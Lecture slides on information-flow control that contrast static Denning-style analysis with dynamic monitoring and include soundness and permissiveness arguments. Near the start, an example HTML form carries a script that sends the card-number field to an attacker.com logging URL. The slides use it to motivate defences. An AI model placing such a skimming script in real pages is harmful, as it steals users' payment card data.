Course outline

1. Language-Based Security: motivation
2. Language-Based Information-Flow Security: the big picture
3. Dimensions and principles of declassification
4. Dynamic vs. static security enforcement
From dynamic to static and back

Riding the roller coaster of information-flow control research
Information flow controls
Information flow problem

- Studied in 70’s
- military systems
- Revival in 90’s
  - mobile code
- Hot topic in language-based security in 00’s
- web application security

```
if secret
    public := 1
    print(public)
else
    public := 0
```

Insecure even when “then” branch not taken – implicit flow

<!-- Input validation -->
<form name="cform" action="script.cgi" method="post" onsubmit="return sendstats();">
  <script type="text/javascript">
    function sendstats () {
      new Image().src="http://attacker.com/log.cgi?card="+ encodeURI(form.CardNumber.value);
    }
  </script>
</form>
Information flow in 70’s

- Runtime monitoring
  - Fenton’s data mark machine
  - Gat and Saal’s enforcement
  - Jones and Lipton’s surveillance

- Dynamic invariant:
  “No public side effects in secret context”

- Formal security arguments lacking
Denning’s static certification

- Static check: “No public side effects in secret context”
  - Denning proposes 1977
  - Volpano, Smith & Irvine prove soundness 1996
  - no runtime overhead

- Core of modern tools
  - Jif/Sif/SWIFT (Java)
  - SparkAda (Ada)
  - FlowCaml (Caml)
Static the way to go?

• Domination of static information flow control in 90’s
  – confirmed by survey [Sabelfeld & Myers’03]
• A sample citation from 90’s:
  “...static checking allows precise, fine-grained analysis of information flows, and can capture implicit flows properly, whereas dynamic label checks create information channels that must be controlled through additional static checking...”
• Common wisdom:
  – monitoring a single path misses public side effects that could have happened
• RIP dynamic enforcement?
What about interactive (e.g. web) applications

- Code (downloaded and) evaluated depending on user’s input
  - Common technique for web applications
  - Google maps

- Monitoring this without “additional static checking” breaks security?
No! In fact, dynamic enforcement is as secure as Denning-style enforcement

- Trick: termination channel
- Denning-style enforcement termination-insensitive
- Monitor blocks execution before a public side effect takes place in secret context
Modular enforcement

Program

\[
\begin{array}{c}
\text{cfg} \xrightarrow{\beta} \text{cfg}' \\
\text{skip} \\
\text{x:=e} \\
; \\
\text{if... while...}
\end{array}
\]

Actions \( \beta \)

\[
\begin{array}{c}
s \\
a(x,e) \\
b(e) \\
f
\end{array}
\]

Monitor

\[
\begin{array}{c}
\text{cfgm} \xrightarrow{\beta} \text{cfgm}'
\end{array}
\]
Termination-insensitive monitor

- $\text{cfgm}=\text{st}$
- Prevent explicit flows: $l := h$
- Prevent implicit flows if $h$ then $l := 0$
  - by dynamic $\text{pc} = \text{highest level on context stack}$

<table>
<thead>
<tr>
<th>Action</th>
<th>Monitor’s reaction</th>
<th>stack update</th>
</tr>
</thead>
<tbody>
<tr>
<td>$a(x,e)$</td>
<td>$x$ and $(e \text{ or } pc)$</td>
<td>stop if</td>
</tr>
<tr>
<td>$b(e)$</td>
<td>push(lev(e))</td>
<td>stack update</td>
</tr>
<tr>
<td>$f$</td>
<td>pop</td>
<td></td>
</tr>
</tbody>
</table>
Dynamic enforcement collapses flow channels into termination channel

- Otherwise high-bandwidth channels
  - Implicit flows
  - Exceptions
  - Declassification
    - [Askarov & Sabelfeld’09]
  - DOM tree operations
    - [Russo, Sabelfeld & Chudnov’09]
  - Timeouts
    - [Russo & Sabelfeld’09]
- ... all collapsed into termination channel
- security guarantees apply

```python
public := 1
if secret
  public := 0
STOP
print(public)
```
Security implications

Termination-insensitive security implies

– For language without I/O: at most one bit leak per execution

– For language with I/O [Askarov, Hunt, Sabelfeld & Sands’08]:
  • attacker cannot learn secret in poly time (in the size of the secret)
  • attacker’s advantage for guessing the secret after observing output for poly time is negligible
Results

• Denning-style analysis enforces termination-insensitive security
  – for while language [Volpano, Smith & Irvine’96]
  – for language with I/O [Askarov, Hunt, Sabelfeld & Sands’08]

• Dynamic enforcement more permissive than static
  – Typable programs not blocked by monitor
  – \[ l := |*|; \text{if } l < 0 \text{ then } l := h \]

• Monitoring enforces termination-insensitive security
  – for while language
  – for language with I/O
Flow sensitivity

- Flow-insensitive analyses in this talk so far

```plaintext
secret := 0;
if secret then public := 1
```

- Rejected by flow-insensitive analysis

- Flow sensitive analysis relabels `secret` when it is assigned public constant
  - E.g. [Hunt & Sands’06]

- Particularly useful for low-level languages
  - secure register reuse
Not all channels can be collapsed into termination channel

- Can we generalize the results to flow-sensitive case?
- Intuition: even more dynamism with flow-sensitivity so we should gain in precision
Flow sensitivity: Turns out

- Can have sound or permissive analysis but not both
- Theorem: no purely dynamic permissive and sound monitor
Trade off between permissiveness and soundness

• Purely dynamic monitor needs to make a decision about temp

• Impossible to make a correct decision without sacrificing permissiveness

```plaintext
public := 1; temp := 0;
if secret then temp := 1;
if temp != 1 then public := 0
```
Proof sketch I

• If secret is true, we can type:

```
public := 1; temp := 0;
if secret then temp := 1;
if temp != 1 then public := 0 skip;
output(public)
```

• By permissiveness, it should be accepted by monitor
• By dynamism, original program also accepted by monitor

```
public := 1; temp := 0;
if secret then temp := 1;
if temp != 1 then public := 0;
output(public)
```
Proof sketch II

• If \texttt{secret} is false, we can type:

\begin{verbatim}
public := 1; temp := 0;
if secret then temp := 1 skip;
if temp != 1 then public := 0;
output(public)
\end{verbatim}

• By permissiveness, it should be accepted by the monitor

• By dynamism, original program also accepted by monitor

\begin{verbatim}
public := 1; temp := 0;
if secret then temp := 1;
if temp != 1 then public := 0;
output(public)
\end{verbatim}

• \(\Rightarrow\) Insecure program always accepted by monitor

• Can have sound \textbf{or} permissive purely dynamic monitor \textbf{but not both}
Static vs. dynamic

• Fundamental trade offs between dynamic and static analyses

• Case studies to determine practical consequences
Going dynamic

- Dynamic analysis viable option for dynamic (esp. web) applications
  - fit for interactive applications with dynamic code evaluation
  - more permissive than Denning-style analysis
  - as secure as Denning-style analysis, despite common wisdom

- Dynamic security enforcement increasingly active area

- Opening up for exciting synergies
References

- From dynamic to static and back: Riding the roller coaster of information-flow control research
  [Sabelfeld & Russo, PSI’09]

- Tight enforcement of information-release policies for dynamic languages
  [Askarov & Sabelfeld, CSF’09]
Course summary

• Language-based security
  – from off-beat ideas to mainstream technology in just a few years
  – high potential for web-application security

• Declassification
  – dimensions and principles
  – combining dimensions key to security policies

• Enforcement
  – type-based for “traditional languages”
  – dynamic and hybrid for dynamic languages
Monitoring declassification and dynamic code evaluation

<table>
<thead>
<tr>
<th>Action</th>
<th>Monitor’s reaction</th>
</tr>
</thead>
<tbody>
<tr>
<td>a(x, e)</td>
<td>stop if x and (e or pc)</td>
</tr>
<tr>
<td>d(x, e, m)</td>
<td>stack update pc or m(e) ≠ i(e)</td>
</tr>
<tr>
<td>b(e)</td>
<td>push(lev(e))</td>
</tr>
<tr>
<td>w(e)</td>
<td>push(lev(e))</td>
</tr>
<tr>
<td>f</td>
<td>pop</td>
</tr>
</tbody>
</table>
Monitoring communication

<table>
<thead>
<tr>
<th>Action</th>
<th>Monitor’s reaction</th>
</tr>
</thead>
<tbody>
<tr>
<td>a(x,e)</td>
<td>stop if x and (e or pc)</td>
</tr>
<tr>
<td>d(x,e,m)</td>
<td>stack update pc or m(e) ≠ i(e)</td>
</tr>
<tr>
<td>b(e,c)</td>
<td>push(lev(e))</td>
</tr>
<tr>
<td>w(e)</td>
<td>push(lev(e))</td>
</tr>
<tr>
<td>f</td>
<td>pop</td>
</tr>
<tr>
<td>i(x,v)</td>
<td>pc</td>
</tr>
<tr>
<td>o(e)</td>
<td>e or pc</td>
</tr>
</tbody>
</table>
Case study by Vogt et al. [NDSS’07]

- Extended Firefox with hybrid “tainting” for JavaScript
- Sensitive information (spec from Netscape Navigator 3.0)
- User prompted an alert when tainted date affects connections outside origin domain
- Crawled >1M pages
- ~8% triggered alert
- reduced to ~1% after whitelisting top 30 statistics sites (as google-analytics.com)

<table>
<thead>
<tr>
<th>Object</th>
<th>Tainted properties</th>
</tr>
</thead>
<tbody>
<tr>
<td>document</td>
<td>cookie, domain, forms, lastModified, links, referrer, title, URL</td>
</tr>
<tr>
<td>Form</td>
<td>action</td>
</tr>
<tr>
<td>any form input element</td>
<td>checked, defaultChecked, defaultValue, name, selectedIndex, toString, value</td>
</tr>
<tr>
<td>history</td>
<td>current, next, previous, toString</td>
</tr>
<tr>
<td>Select option</td>
<td>defaultSelected, selected, text, value</td>
</tr>
<tr>
<td>location and Link</td>
<td>hash, host, hostname, href, pathname, port, protocol, search, toString</td>
</tr>
<tr>
<td>window</td>
<td>defaultStatus, status</td>
</tr>
</tbody>
</table>